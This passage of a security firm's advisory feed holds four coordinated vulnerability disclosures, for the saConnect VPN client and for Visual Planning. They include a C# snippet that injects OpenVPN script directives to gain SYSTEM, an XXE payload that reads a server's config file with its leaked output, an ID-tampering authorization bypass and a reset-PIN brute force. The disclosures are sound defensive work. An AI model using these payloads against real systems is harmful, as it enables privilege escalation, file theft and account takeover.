muVFwj9yDup07yStTXRJHjg2WCH0LdL5x+mDfcBspjLflpVP/0Yj+MnR8e3Eb7v/
Cb12PeBHww9VObUhgbMecanSn6Epf7Nc5a5wIh5kEWKoviBYNY/0cu7GDN+70PK4
JhD86Tww5RFJJfkLcJqlCAMC4AkAc7Sq5FS7WTK5Jx3Ymh/+Lsuhx9ENq38VyVGh
tFe3V0joTUxg7Yy78PoEOrs=
=XKZo
-----END PGP SIGNATURE-----

Advisory: Local privilege escalation in saConnect/saConnectService by Secadm GmbH - now enthus

Marvin Louis, Moritz Öhrlein — Mon, 01 Jul 2024 14:00:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-002: Local privilege escalation in saConnect/saConnectService by Secadm GmbH - now enthus
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
Not applicable since affected software is not publicly available.
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-002/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-002.txt
Affected products/vendor
========================
Custom OpenVPN client, saConnect/saConnectService by Secadm GmbH - now enthus
Summary
=======
A local privilege escalation in the saConnectService, an OpenVPN-based VPN client, from Secadm GmbH was discovered.
OpenVPN configuration parameters can be set by a low privileged user via a .NET Remoting IPC[0] call served by the saConnectService.
This allows to execute arbitrary commands with the privilege level of the saConnectService through the route-up script of the OpenVPN connection.
Risk
====
An attacker that has access to an account which is fully configured to use the VPN connection through the saConnect application is able to exploit this vulnerability.
It allows an attacker to escalate the privileges to the privilege level of the saConnectService.
Depending on how the saConnectService is configured this may lead to the highest privilege level on the local system (NT Authority\System). In the scenario where this vulnerability was discovered, it was possible to fully compromise the host system.
An attacker with basic knowledge in C# and understanding of OpenVPN configurations may find this vulnerability with medium to high effort. To find the vulnerabilities, an attacker might need to reverse engineer the C# executables of saConnect and saConnectService using tools like dnSpy[1] or JetBrains dotPeek[2].
To be able to exploit the vulnerability, an attacker needs to understand how the OpenVPN configuration files, namely endpoints.conf and ProxyVPN.conf, are used. In the standard configuration, neither the file endpoints.conf nor the main OpenVPN configuration file (ProxyVPN.conf) is visible/accessible to a low privileged user.
Description
===========
A company notebook device assessed by SCHUTZWERK for security vulnerabilities was found to contain a local privilege escalation vulnerability in the custom VPN client.
The VPN client, which is part of Secadm GmbH consulting portfolio (Home-Office und Remote Arbeitsplätze)[3], is a convenience software based on OpenVPN which, among other things, automatically detects and connects to the best VPN endpoint based on quality measurements.
The software uses an OpenVPN deamon embedded within saConnectService to establish the connection which is installed as a Windows service.
Through reverse engineering of the .NET based applications saConnect and saConnectService, SCHUTZWERK discovered the .NET Remoting IPC[0] interface which is used to communicate between these two applications.
Understanding the IPC communication
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
It showed that saConnect calls the remote functions SetOpenVPNEndpoints and StartOpenVPNServer on the saConnectService via a .NET remoting IPC channel, to configure and start the OpenVPN connection.
Thereby, SetOpenVPNEndpoints writes a configuration string in a file endpoints.conf which is only accessible by higher privileged users.
As seen below, the "endpoints.conf" is used as an additional configuration file ('--config' flag of the OpenVPN command line[4]) in the main OpenVPN configuration file, used by the OpenVPN deamon.
ProxyVPN.conf (main OpenVPN configuration file):
[...]
# remote VPN Server IP / Data
config endpoints.conf
[...]
The intended use of SetOpenVPNEndpoints is to set the best OpenVPN endpoint as a connection target which was evaluated via connection quality measurements within saConnect.
SCHUTZWERK discovered that the configuration string which is sent to SetOpenVPNEndpoints as a parameter is written into the file endpoints.conf without modification or filtering. This allows to set arbitrary configuration parameters that are applied to the main OpenVPN configuration file.
Manipulating the OpenVPN configuration
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
By adding two configuration lines (script-security, route-up)[4] that allow calling user-defined scripts it is possible to configure a batch script that executes after successful authentication during the VPN connection.
Through that, code execution in the context of saConnectService can be achieved, if the OpenVPN connection successfully connects to the remote endpoint using the manipulated endpoints.conf.
POC implementation that writes to the endpoints.conf file:
[...]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendLine("remote <redacted-ip> 445 udp");
stringBuilder.AppendLine("cryptoapicert 'THUMB:<Thumbprint of the certificate in the Windows Certificate System Store>'");
// configuration lines that enable code execution
stringBuilder.AppendLine("script-security 2");
stringBuilder.AppendLine("route-up 'C:\\\\tmp\\\\exec.bat'");
ServiceWrapper.getService().SetOpenVPNEndpoints(stringBuilder.ToString());
[...]
The saConnect application overrides the endpoints.conf file on each connection. To execute the code, a POC application must be developed that performs the steps required to successfully launch the VPN connection.
Path to a one-click PoC exploit
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
In order to establish a connection, the POC application first needs to call the StartOpenVPNServer function on saConnectService to start the embedded OpenVPN deamon. Additionally, because the main OpenVPN configuration configured the management-hold[4] flag, which starts OpenVPN in a hibernating state, the PoC needs to call 'hold release' on the OpenVPN management interface[5].
This tells the OpenVPN deamon to start the connection.
As configured in ProxyVPN.conf, the OpenVPN management interface is configured to listen on localhost port 19334 which requires a password to communicate with.
ProxyVPN.conf (main OpenVPN configuration file):
[...]
# Start OpenVPN in a hibernating state, until a client
# of the management interface explicitly starts it.
management-hold
# Enable a TCP server on ip:port to handle
# management functions. pass is a password file
# or 'stdin' to prompt from console.
;management ip port [pass]
management 127.0.0.1 19334 sa/mgmt-pass.txt
[...]
The password used to authenticate against the OpenVPN management interface was found to be statically compiled into the saConnect binary. This allows to authenticate to the management interface and issue the required 'hold release' command.
With the ability to write arbitrary configuration flags into the endpoints.conf file and to control the OpenVPN management interface, a one-click C# PoC can be created to exploit this vulnerability.
Solution/Mitigation
===================
The vulnerability can be mitigated by introducting a whitelist that limits the configuration parameters passed to the SetOpenVPNEndpoints call in the IPC interface to the ones that are actually needed. This will exclude the configuration parameters (route-up, route-down up, down, script-security...)[4] that can be used to execute scripts in the context of the saConnectService.
Since Secadm GmbH (now enthus) did not provide a version number of the fixed version, please contact entus [6] if you are unsure that you are using the version containing the fix.
Disclosure timeline
===================
2023-05-24: Vulnerability discovered
2023-05-30: Request to the customer to find a contact person at the manufacturer
2023-06-11: Initial contact with manufacturer via customer contact person
2023-06-15: Reply from the manufacturer with a request for more information
2023-06-16: Provision of technical information to trace the security vulnerability
2023-06-26: Inquire with the manufacturer about the current status and plan for patch release
2023-06-28: Bug has been fixed and new version created. Preparation for rollout plan underway
2023-09-14: Contact the manufacturer to find out the status of the customer's patch rollout
2023-09-23: Reply from the customer that rollout completion is planned by the end of September 2023
2023-11-29: Customer informed that rollout of the patch is completed
2024-07-01: Advisory released
Contact/Credits
===============
The vulnerability was discovered during an assessment by Marvin Louis and Moritz Öhrlein of SCHUTZWERK GmbH.
References
==========
[0] https://learn.microsoft.com/de-de/dotnet/api/system.runtime.remoting.channels.ipc?view=netframework-4.8.1
[1] https://github.com/dnSpy/dnSpy
[2] https://www.jetbrains.com/de-de/decompiler/
[3] https://secadm.de/consulting.html
[4] https://openvpn.net/community-resources/reference-manual-for-openvpn-2-4/
[5] https://openvpn.net/community-resources/management-interface/
[6] https://enthus.de/
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmaCwZgaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtHog//bq4xaLODG1weyxdjQTsU
P7jPoh0Xgr5goYXQXC5yF8hp7ynPeCqPtCoC+FeDTYDXvpeFenZJRT59ts69TzGY
+fKd/mcxi0T88c+veZilwX+bBzN7UhDvOpnwPjmXG8j6E1Zj05U6VRCgHKxQyyjX
nwr1KhLESgvPkLV8QSkgQb6vzQvoqEMK2Ync0WD895aeH7ZMKLTV04b1LzEMt3UV
4+oVgiL7crG55aRHYYPwgVtluXLanP03QCAORgM/5Wf4WSrvkqlE7PiBpyYI2J6z
+tKBaoIXNXXhfvzeCiyoUTEPDZ21ynXu0LyhiXtJ0wt+U9SKVCAOx3Iw5HP7O0hj
ZlTrtg0waW0SvKMvffvSqjGzJTORtfqjsgPyvkI+4AA4ZKB91jqxdU2dxZxqIhq8
2Y+OVbnGccu2n/Xlf8a8yeRhNPLroJJveO2RlUZ76/au1WEdOmd/hLmkXsWDptAk
8pCCHCE/K8ttXZhxam+xCojpU5Nw5LTAtCxCau0asbEe6NBIOYTTimetaj/Cwxc8
vavxj46yjIoGcePwthdWWqiPp382/rXDCyzAgb8IPvKjK0KC+dykUYISetTxwnQl
iuk6JXNXRJHJCcUTvz7JCQQEh13TdC3jFU+sftTser3VgpK8pdwQbMCytLKNC6Tk
O9PIHbbwpptP4k6VyWkbYys=
=KzSk
-----END PGP SIGNATURE-----

SCHUTZWERK IS SPONSORING ELBSIDES 2024

SCHUTZWERK GmbH — Wed, 12 Jun 2024 13:00:00 +0100

The Elbsides 2024 Conference will take place in Hamburg on 13 September 2024. We are happy to be a sponsor again. After last year’s successful Elbsides Light Conference, this year’s conference from the BSides series will once again be a full-day event.

The Security BSides are organised by the security experts to bring the IT security community together. We are looking forward to exciting presentations and a good personal exchange on site.

Advisory: Arbitrary File Read via XML External Entities in Visual Planning (CVE-2023-49234)

Lennert Preuth, David Brown — Thu, 28 Mar 2024 14:03:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-006: Arbitrary File Read via XML External Entities in Visual Planning
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49234
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-006/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-006.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Authenticated attackers can exploit a weakness in the XML parser functionality of the Visual Planning[0] application in order to obtain read access to arbitrary files on the application server. Depending on configured access permissions, this vulnerability could be used by an attacker to exfiltrate secrets stored on the local file system.
Risk
====
An attacker can use the vulnerability to gather information and depending on the stored data, exfiltrate secrets from the file system. Furthermore, HTTP requests can be used for out-of-bands exfiltration and possibly server side request forgery (SSRF) attacks.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an arbitrary file read vulnerability via XML external entities in Visual Planning.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
One of the messages sent by the Admin Center application after authentication is the following:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.parameters.GetApplicationProperty>
<defaultValue>
</defaultValue>
<propertyName>PWD</propertyName>
<rawResult>false</rawResult>
<section>INSTALLDATA</section>
<userSession isNull="true"/>
</com.visualplanning.query.parameters.GetApplicationProperty>
The method GetApplicationProperty is called to request the value of the property PWD. The server responds with an XML message, where the value element contains the response of the query:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.result.ApplicationPropertyResult>
<resultValues/>
<status>OK</status>
<value>
</value>
</com.visualplanning.query.result.ApplicationPropertyResult>
In this response it was observed that if the requested property value could not be resolved, the content of the request element defaultValue will be reflected as part of the response, making it a suitable back channel for XML external entity (XXE) injections.
The following message was sent to the Visual Planning application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "C:\xampp2\tomcat\webapps\vplanning\configuration\install.properties"> ]>
<com.visualplanning.query.parameters.GetApplicationProperty>
<defaultValue>&example;</defaultValue>
<propertyName>ShowBackground</propertyName>
<rawResult>false</rawResult>
<section>Application</section>
<userSession isNull="true"/>
</com.visualplanning.query.parameters.GetApplicationProperty>
The server responds with the content of the requested install.properties file inside the value element, thus confirming the XML parser is vulnerable to XML external entity (XXE) injections:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.result.ApplicationPropertyResult>
<resultValues/>
<status>OK</status>
<value>#
#Tue Oct 03 15:37:33 CEST 2023
INSTALLDATA.INSTALLSERIAL=
INSTALLDATA.INSTALLURL=http\://127.0.0.1\:8080/vplanning
INSTALLDATA.OK=Next
INSTALLDATA.PAGE=PROVIDER
INSTALLDATA.POOLMODE=1
INSTALLDATA.PORT=3306
INSTALLDATA.PROVIDERTYPE=MySQL
INSTALLDATA.PWD=ENCODE\:
INSTALLDATA.SERVER=127.0.0.1
INSTALLDATA.SERVERLANG=de
INSTALLDATA.USER=root
INSTALLDATA.VIEWERSERIAL=
</value>
</com.visualplanning.query.result.ApplicationPropertyResult>
Further testing showed that out-of-bands exfiltration via HTTPS requests is also generally possible.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0bcaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsdwA/+MyfbZTe36+AYi9q6GJE6
S75Xm2aZtEM3NC5F6aMcELqFEW7LNjERmBoqfkHe+SWfgFxeCXl/XelHaNnR7HTM
ZZPCGwJmOI+XaraInPVdCDw1QVIdiCG4VZzE0tlnFbLBgM+OTOxcDOoG7OhzP6mm
ALfankzxu3AfbZhwebQtSXIQ+YqjitTsvjQGPleylqYK5CJbChsyvmMjomu/GzdO
sWQ25ODCVUy6VORet8yn5OkQnM2CjSkteuTdNxCzd6JUB+vQ0g5FCE5NVzkqYq21
YJ4Fc3PgkyAnrGefSbueL+Z/K6btM8RysJAwGahIEOdlkG8W/p09L0QQUGERT2VN
UO6oTi/1OyoJBV9L5umr6aHss3P92ln90UAUW2dlZOdGSB8rlXisxLC1wtFZAXH9
YwiGY/ACXmV1FtQQpgFxfNRyEWaltU5S0Y0bPAaW+ABSMLlK4X0Ft9E/4s4Yel2d
TGngEnVKcR/PKNtrJbBqPDwt98R0MdQi0QxBRaxGxAg4Yr1qex8ph6IRT7bDTm0/
1CKlQL7y9uvXlnFE4CO3IkKNp0ejKn3A7QEep4jit07VItIc+sRsoMnB6v54DoML
ZfIisDoijb3doTNieyMpgTGZTDWLwLO36IS9JiqafNCAnngExqylFX6vYQVggtRz
mZ2yA2/9ZfQwOawEirQtQr8=
=TUGM
-----END PGP SIGNATURE-----

Advisory: Insufficient Access Controls in Visual Planning

Lennert Preuth, David Brown — Thu, 28 Mar 2024 14:02:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-005: Insufficient Access Controls in Visual Planning
Status
======
PUBLISHED
Version
=======
1.1
CVE reference
=============
CVE-2023-49233
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-005/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-005.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Insufficient access checks in Admin Center allow attackers in possession of a non-administrative Visual Planning account to utilize functions normally reserved for administrators. The affected functions allow attackers to obtain different types of configured credentials and potentially elevate their privileges to administrator level.
Risk
====
Due to lack of access controls attackers in control of non-administrative user accounts are able to perform at least the following actions via the GUI:
- - access and modify modules
- - access and modify services
- - access and modify WebService administrator API key
- - access and modify LDAP settings
- - access and modify document storage settings
- - export and import management data
- - execute SQL queries against the configured database
- - access and modify planners
If the corresponding requests are known, the functions can be directly called via the respective API calls.
The ability to access LDAP and document storage settings allows attackers to obtain configured LDAP, Dropbox, OneDrive and Google Drive credentials. Importing management data likely allows attackers to overwrite passwords and add new users (potentially including administrators).
Credentials can be obtained through the vulnerability described in SCHUTZWERK-SA-2023-004/CVE-2023-49232.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found insufficient access checks in Visual Planning's Admin Center.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
When performing a login in Admin Center, the message similar to the following is sent to the server:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>validateUserLogin</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values>
<HashtableValue>
<key>passwd</key>
<value class="String">Passw0rd!</value>
</HashtableValue>
<HashtableValue>
<key>login</key>
<value class="String">test4</value>
</HashtableValue>
<HashtableValue>
<key>adminMode</key>
<value class="java.lang.Boolean">true</value>
</HashtableValue>
</values>
</com.visualplanning.query.NamedMethodParameter>
If the provided credentials are valid, the server will respond with a VPUser data structure containing information about the user:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.result.PersistentDataLoadResult>
<datas>
<com.visualplanning.data.admin.VPUser>
<ID>6</ID>
<UID>79C4-9F31-FD34-4E52-0EF1-501D-7789-FA77</UID>
<activated>true</activated>
<comments></comments>
<email></email>
<expiredPasswd>false</expiredPasswd>
<groups/>
<imageProfilBase64></imageProfilBase64>
<ldapSetting>
<entityID>-1</entityID>
</ldapSetting>
<licenses/>
<loginAttemps>0</loginAttemps>
<mobilePhoneNumber></mobilePhoneNumber>
<name>test4</name>
<ownerID>0</ownerID>
<phoneNumber></phoneNumber>
<platform>VP</platform>
<resetPasswd>false</resetPasswd>
<resourceUser>false</resourceUser>
</com.visualplanning.data.admin.VPUser>
</datas>
<histories/>
<resultValues/>
<status>OK</status>
</com.visualplanning.query.result.PersistentDataLoadResult>
At this point, if the user is not an administrator, the Admin Center displays the message "Unauthorized user or already connected".
It was, however, discovered, that the corresponding checks to determine whether a user is authorized to access the Admin Console take place on the client-side. Modifying the ID contained in the <ID> field of the response to "1" allows the login to progress further and causes a mostly complete UI to be loaded. Due to missing server-side permission checks the functions of the Admin Console can subsequently be used by the unauthorized user.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[1] https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbWzaIaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvOsBAAteYsWLXH4c3uYw3n+Zgt
fgMrGFEbAwZpSEGoFf4DFmChk/hgyKkQrz2rnqtYXv/YuULvMzCLBAh+s4g0aIei
Zkr3FvIjPzkGXJzp+tXpUcsUOu3zB8s9qNSgDW3ybIPMqRTJYbyl7Hz3nJlPWx64
rplOaK0i6+aMizOQ6cvQk/9XE6gHZjyf+A1aJcY5L6U9zjj57YNX2WT+I4/us8LT
bEi6DU3A0MJ5gVGf78CipUcDywTGzTgnsph3zWR7vLA9qXfNVqXMVq3OHPGRp2sp
/Kjp5bBnprCUh9EabIpzw925oXEY6ccZQeJmAa4sGYZZDIPEMaPuj0QBo7DEwT4w
ijP+5CCSQogOQt0S1eyg16WIOHi1//G2n0JIfvkk7LgQjMNyUsfZlIjVf8N7pS8J
WEFlVPg1mFSZLxM/dj/b9R89bIAAIxpBdeRGVkDS9V01CaoNA6mydLuV/zhrAznW
eOXJaRfcLXk4iOv3j9ogSnUZwbx11fL91W+WSWw7zzgkYtGi2ncuh9hEnYYccUs+
5OB2yHJ8uX1j3Hc1Tt18zTweY5lBYf9/b+HwH98lzNFZipWngo5gY0VGZN+7mpX7
n3+nMUKJAFKa65yv2Y3DHO6lpZaaNH91I8Vxrz0m6kZHGOVuCtg6WOI/+f5sIZXJ
H/zr65uZoj2YjXf8cWuC4gU=
=p8j9
-----END PGP SIGNATURE-----

Advisory: Authentication Bypass via Password Reset Functionality in Visual Planning (CVE-2023-49232)

Lennert Preuth, David Brown — Thu, 28 Mar 2024 14:01:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset Functionality in Visual Planning
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49232
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-004/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-004.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Unauthenticated attackers can exploit a weakness in the password reset functionality of the Visual Planning[0] application in order to obtain access to arbitrary user accounts including administrators. In case administrative (in the context of Visual Planning) accounts are compromised, attackers can install malicious modules into the application to take over the application server hosting the Visual Planning application.
Risk
====
The application does not impose any limits on the number of guesses that can be made. Attackers can therefore initiate the reset for arbitrary users and automate the pin validation process until a valid pin is obtained. The vulnerability allows unauthenticated attackers to gain access to arbitrary user accounts including administrators.
Failed pin validation attempts are not logged by the application which greatly increases the difficulty of detecting ongoing attacks.
With administrative access to Admin Center, attackers can install malicious modules containing Java code that is executed on the application server, resulting in arbitrary command execution.
The entire pin space can be enumerated in approximately one to two hours.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning's password reset functionality.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
One of the first messages sent by the Admin Center application after launch is the following:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>canResetPassword</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values/>
</com.visualplanning.query.NamedMethodParameter>
In this request, the client asks the server whether it should display the "Forgot your password ?" button as part of the login form. During the assessment, the server responded as follows:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.QueryResult>
<resultValues>
<HashtableValue>
<key>resetPassword</key>
<value class="java.lang.Boolean">false</value>
</HashtableValue>
</resultValues>
<status>OK</status>
</com.visualplanning.query.QueryResult>
By altering the value to "true", the password reset functionality becomes accessible in the application. At this point, attackers can provide the target username. This causes a request similar to the following to be issued:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>sendResetPasswwd</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values>
<HashtableValue>
<key>login</key>
<value class="String">admin</value>
</HashtableValue>
</values>
</com.visualplanning.query.NamedMethodParameter>
While handling this request, the server generates a five digit numeric pin and tries to send it to the email address associated with the provided username. Regardless of whether the email could be successfully transmitted, the generated pin is stored in a attribute of the session used while performing the reset. It should be noted that the password reset request message can be sent directly without enabling the button in the GUI if the message format is already known.
To complete the reset process, the correct pin (matching the pin stored in the session attribute) must be specified. A message similar to the following is issued by the application to validiate the provided pin:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>validateResetPasswwd</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values>
<HashtableValue>
<key>login</key>
<value class="String">admin</value>
</HashtableValue>
<HashtableValue>
<key>userCode</key>
<value class="String">58344</value>
</HashtableValue>
</values>
</com.visualplanning.query.NamedMethodParameter>
When an invalid pin is provided, the server responds with the following XML document:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.QueryResult>
<resultValues>
<HashtableValue>
<key>ERROR</key>
<value class="String">Invalid code.</value>
</HashtableValue>
</resultValues>
<status>KO</status>
</com.visualplanning.query.QueryResult>
In case the pin is valid, the server responds with a VPUser data structure similar to the following:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.QueryResult>
<resultValues>
<HashtableValue>
<key>vpUser</key>
<value class="com.visualplanning.data.admin.VPUser">
<ID>1</ID>
<UID>C442-53EB-B185-8804-F6BF-70AC-61C3-31BC</UID>
<activated>true</activated>
<comments>Super administrateur</comments>
<email>yahd6Coo@schutzwerk.com</email>
<expiredPasswd>false</expiredPasswd>
<groups/>
<imageProfilBase64></imageProfilBase64>
<ldapSetting>
<entityID>-1</entityID>
</ldapSetting>
<licenses/>
<loginAttemps>0</loginAttemps>
<mobilePhoneNumber></mobilePhoneNumber>
<name>admin</name>
<ownerID>0</ownerID>
<phoneNumber></phoneNumber>
<platform>VP</platform>
<resetPasswd>true</resetPasswd>
<resourceUser>false</resourceUser>
</value>
</HashtableValue>
</resultValues>
<status>OK</status>
</com.visualplanning.query.QueryResult>
In addition, an empty password is set for the target username. Upon first login after reset, a new password must be set for this user.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
[1] https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0TAaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtU9xAArJL5rKh3sNRto6xC7bgj
660J6OALXG9O9qaJo1RHYsVo9287THvSgsPs8/YXZhFNtkccsdxRll3t3UxC3IOU
/h+f612I4lFlk9t0LVH2eu6r8lTw47YLbO9RKoBF0TsysJMnytuM9+BxRyd+nLVo
rfVxmRfUhDKf5odkDz8IeatmMMeI1e7JuGylWtVOkSxdbCsmwEbObrEsCwe74AR4
PKJDVb6tq03q1g5H0yq7QLCMyuN7UBc0Jb/sYkL3hu0m7JlqyCVUfNBaD1pqZvlA
C3b+DnrJHwAPYKr5I4pKfss5Ghh3+yIaS/UIyaIImgS6pyBDOJUHULiMKumZYHCl
r3YWOLAjuTUztRmsktavjgItsf2NsXnBLYMDjZuZtBd6iU7iNKQ4EdbCNt8YCN8w
